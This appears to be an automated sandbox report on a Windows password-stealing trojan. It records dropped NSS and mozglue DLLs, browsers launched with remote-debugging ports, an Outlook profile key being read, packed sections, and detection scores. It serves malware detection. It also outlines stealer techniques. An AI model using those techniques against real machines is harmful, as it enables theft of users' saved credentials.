Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE8140	0_2_6CDE8140
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE64130	0_2_6CE64130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDF6130	0_2_6CDF6130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CF062C0	0_2_6CF062C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE522A0	0_2_6CE522A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE4E2B0	0_2_6CE4E2B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE08260	0_2_6CE08260
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE18250	0_2_6CE18250
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE58220	0_2_6CE58220
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE4A210	0_2_6CE4A210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDD43E0	0_2_6CDD43E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDDE3B0	0_2_6CDDE3B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDB23A0	0_2_6CDB23A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE9C360	0_2_6CE9C360
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE16370	0_2_6CE16370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD88340	0_2_6CD88340
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEC2370	0_2_6CEC2370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD82370	0_2_6CD82370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDF2320	0_2_6CDF2320
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE41CE0	0_2_6CE41CE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEBDCD0	0_2_6CEBDCD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE1FC80	0_2_6CE1FC80

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: String function: 6CF009D0 appears 239 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: String function: 6CF0DAE0 appears 51 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: String function: 6CDA3620 appears 60 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: String function: 6CF0D930 appears 42 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: String function: 6CDA9B10 appears 58 times

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689229797.0000000070132000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689110875.000000006CF55000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Static PE information: Section: hbloxsmk ZLIB complexity 0.9943536530446454

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@26/39@3/5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CDE0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CDE0300

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\YRNRLP21.htm

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1590483181.00000000054FC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472014147.0000000005509000.00000004.00000020.00020000.00000000.sdmp, GDHCGDGIEBKJKFHJJKFC.0.dr, BFIDGDAKFHIEHJKFHDHD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688792628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Virustotal: Detection: 63%
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	ReversingLabs: Detection: 60%

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1940,i,18391328260999041015,2170874192039568654,262144 /prefetch:8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2268,i,10759757327518874650,6369260558671183439,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2020,i,11552602797106846461,12959609762823924808,262144 /prefetch:3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1940,i,18391328260999041015,2170874192039568654,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2268,i,10759757327518874650,6369260558671183439,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2020,i,11552602797106846461,12959609762823924808,262144 /prefetch:3	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Static file information: File size 1909760 > 1048576

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Static PE information: Raw size of hbloxsmk is bigger than: 0x100000 < 0x1ba600

Source:	Binary string: mozglue.pdbP source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689193673.000000007011D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689193673.000000007011D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Unpacked PE file: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe.780000.0.unpack :EW;.rsrc :W;.idata :W; :EW;hbloxsmk:EW;bicjwbqp:EW; vs :ER;.rsrc :W;Zu:W; :EW;hbloxsmk:EW;bicjwbqp:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: bicjwbqp

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name: .rsrc
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name: .idata
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name: hbloxsmk
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name: bicjwbqp
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Static PE information: section name: hbloxsmk entropy: 7.954850446877664

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
